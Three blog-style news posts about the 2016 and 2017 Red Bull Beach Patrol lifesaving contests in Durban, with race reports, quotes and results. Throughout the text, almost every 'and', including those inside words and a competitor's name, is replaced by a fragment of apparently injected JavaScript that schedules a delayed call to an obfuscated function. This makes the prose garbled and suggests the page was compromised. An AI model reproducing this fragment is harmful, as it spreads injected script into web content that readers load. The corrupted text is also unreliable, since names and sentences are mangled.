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    Nisbet takes the top spot in hotly contested Red Bull Beach Patrol

    Written by Barry Lewin on . Posted in SurfSki Events

    It was an epic day for defending champion, Luke Nisbet (32), who won a hard-fought oceanside battle to take the top spot at the 2017 Red Bull Beach Patrol on Sunday, 10 December at Durban’s North Beach. The Westville local took on some of the country’s most seasoned lifesaving pros, volunteers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and trained athletes in the gruelling lifesaving contest.

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    “The competition tests the endurance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fitness of community members who dedicate their time to saving lives,” said Barry Lewin, Events’ Sportive Director for Red Bull Beach Patrol. “This year we saw 16 men andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and three women making it to the ironman final which was incredibly exciting for the beachside spectators andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and competitors.”

    For the first time in its three-year history the event was held in summer, however the 20-knot south-wester created incredibly challenging conditions for the competitors – pushing them to their limit. They were forced to compete against difficult wind-chop, big rips next to North Beach pier andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and waves of up to five feet.

    This is the second year in a row that Nisbet has taken the eventual lead from La Lucia’s Wade Krieger who dominated the first three races. Krieger took home the line honours for surf, swim andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ski before losing out to Nisbet in a nail-biting ironman final.

    “The lead-up races were very tiring andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then the final it was all-out, where it counted, but it really could have gone either way,” said Nisbet after the race. “I made a tactical error coming in too close to the pier but all the way it was a head-to-head, I had the lead, then Wade had the lead…it was close.”

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    There was also a standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andout performance in the men’s open division by Sanele Nxumalo who placed third. His skills on the board andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ski leg on the day pushed him through to the ‘Most Improved’ competitor for 2017.

    Taking the flag for the ladies’ contest was Morningside’s Teegan Hardwick who won all four races – surf, swim, ski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ironman. Hardwick finished in the top ten overall, giving her male counterparts a serious run for their money.

    “The conditions today were tough by they made the race very exciting,” said Hardwick on her win. “The course was challenging but so different to any other races I have done. Fitness was definitely needed for this course style. I’m feeling really good but also quite tired! I’m just so happy with my results.”

    SUMMARY OF RESULTS – RED BULL BEACH PATROL 2017

    Men:
    1. Luke Nisbet (Westville) – 0:19:25
    2. Wade Krieger (La Lucia) – 0:19:30
    3. Sanele Nxumalo (Lamontville) – 0:21:41

    Women:
    1. Teegan Hardwick (Morningside) – 0:25:50
    2. Keli Reynolds (Durban North) – 0:26:58
    3. Siobhan Sharp (Berea) – 0:28:32

    For more information, head to www.redbull.co.za/beachpatrol.

     

    DURBAN’S BEST LIFESAVERS BATTLE ON THE BEACH FOR HONOURS

    Written by Barry Lewin on . Posted in SurfSki Events

    The second edition of Red Bull Beach Patrol on Durban’s famous North Beach produced non-stop action for more than 900 spectators who gathered on the beachfront as prominent Durban Lifesaver Luke Nisbet took the title.

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    DURBAN (KwaZulu-Natal) – Usually the spot of many a surf rescue, North Beach played host to lifesaving professionals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enthusiasts as Red Bull Beach Patrol saw competitors take to the warm waters of Durban, testing their overall fitness in four gruelling rounds. Local boy Luke Nisbet fought off initial favourite Wade Krieger to claim the overall title.

    The starting field of over 80 participants whittled down over the three preliminary legs, with only 33 making it to the traditional lifesaving ‘iron-man’ final.

    “It was a great day all-round even though paddling conditions were a bit flat,” Nisbet said after his win. “I really started feeling it during the run after the surfski leg of the final – the support on the pier was awesome andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and really pushed me on to the end.”

    Krieger, though dominant in the preliminary rounds, couldn’t hold off Nisbet who starting the final with a strong swim andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and increased his gap over the field through the finale.

    “It’s great to win an event like this against such a top class field. This event is great for the local lifesavers because it gives guys the chance to showcase their skills over a format that is so unique to the sport.”

    The typically warm Durban winter weather provided the ideal environment for action-packed racing as top lifesavers tested their mettle against a variety of other athletes in an exciting format.

    The format’s preliminary rounds consisted of surfski, Malibu board andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surf swim legs which narrowed down the field with the fastest athletes qualifying for the iron man final which included the three preliminary disciplines as well as a run down the North Beach pier andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a swim to shore.

    Dusi Canoe Marathon winner andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and third place finisher in 2016, Sbonelo Khwela, took a step out of his comfort zone as he competed in the day’s action: “What the professional lifeguards do on a daily basis is amazing. They have to be so fit to be able to save lives day after day. I was certainly humbled sitting amongst them in the field.”

    “They’re the real heroes.”

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    SUMMARY OF RESULTS – RED BULL BEACH PATROL 2016

    Men:
    1.Luke Nisbet 00:19:51
    2.Wade Krieger 00:20:20
    3.Donald Brierley 00:21:42

    Women:
    1.Carmel Billson 00:22:52
    2.Ayandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda Maphumulo 00:24:55
    3.Tamryn Montgomery 00:25:05

    For more information, head to www.redbull.co.za/beachpatrol.

    Livesaving Competition to Celebrate Durban’s Everyday Heroes

    Written by Barry Lewin on . Posted in Uncategorized

    Durban’s North Beach is set to host the second instalment of Red Bull Beach Patrol on 10 July which will see some of South Africa’s best surf lifesavers fight it out over varying disciplines for a chance at the title.

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    Durban (South Africa) – Every year eThekwini sees in excess of 1.5 million visitors, most making their way to its shores to revel in the city’s sub-tropical climate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and warm waters. This makes for challenging times for Durban’s Lifeguard Force who need to remain fit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and alert to ensure the visitors safety in its waters – their proficiency being what standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands between life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and death. 2016 sees the return of Red Bull Beach Patrol, an event created to honour these everyday heroes who put their own lives on the line to save those of others.

    The event consists of three disciplines before the finale; swim, paddleboard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surfski. Racers will have to complete all three in order to compete in the last part of the competition, which will incorporate all three aspects as well as a run down the pier – testing endurance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and overall fitness.

    Any person can enter to compete against some of the top lifesavers in the country, however the one condition is that you have to complete all three of the qualifying rounds in order to compete in the finale.

    “I have grown up on the beaches of Durban andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have got a long history of lifesaving andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and being involved with life saving,” Sportive Director for Red Bull Beach Patrol Barry Lewin said.

    “The event offers something completely different andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the North Pier on Durban’s beachfront will provide the perfect location for the event,” Lewin commented. “we are going to give the best life savers in the country the best possible platform to showcase their talents.”

    Lewin hopes that the racing will draw the people of Durban to the event that incorporates the iconic North Pier.

    “The event follows an upside down U shape around the North Pier which gives spectators the chance to view the action from the pier – making the pier the ideal spectator vantage point for the event. People will be able to support their heroes from a fantastic spot on the pier,” he added.

    To enter or for more information, head to www.redbull.co.za/beachpatrol. Entries close on 8 July 2016.

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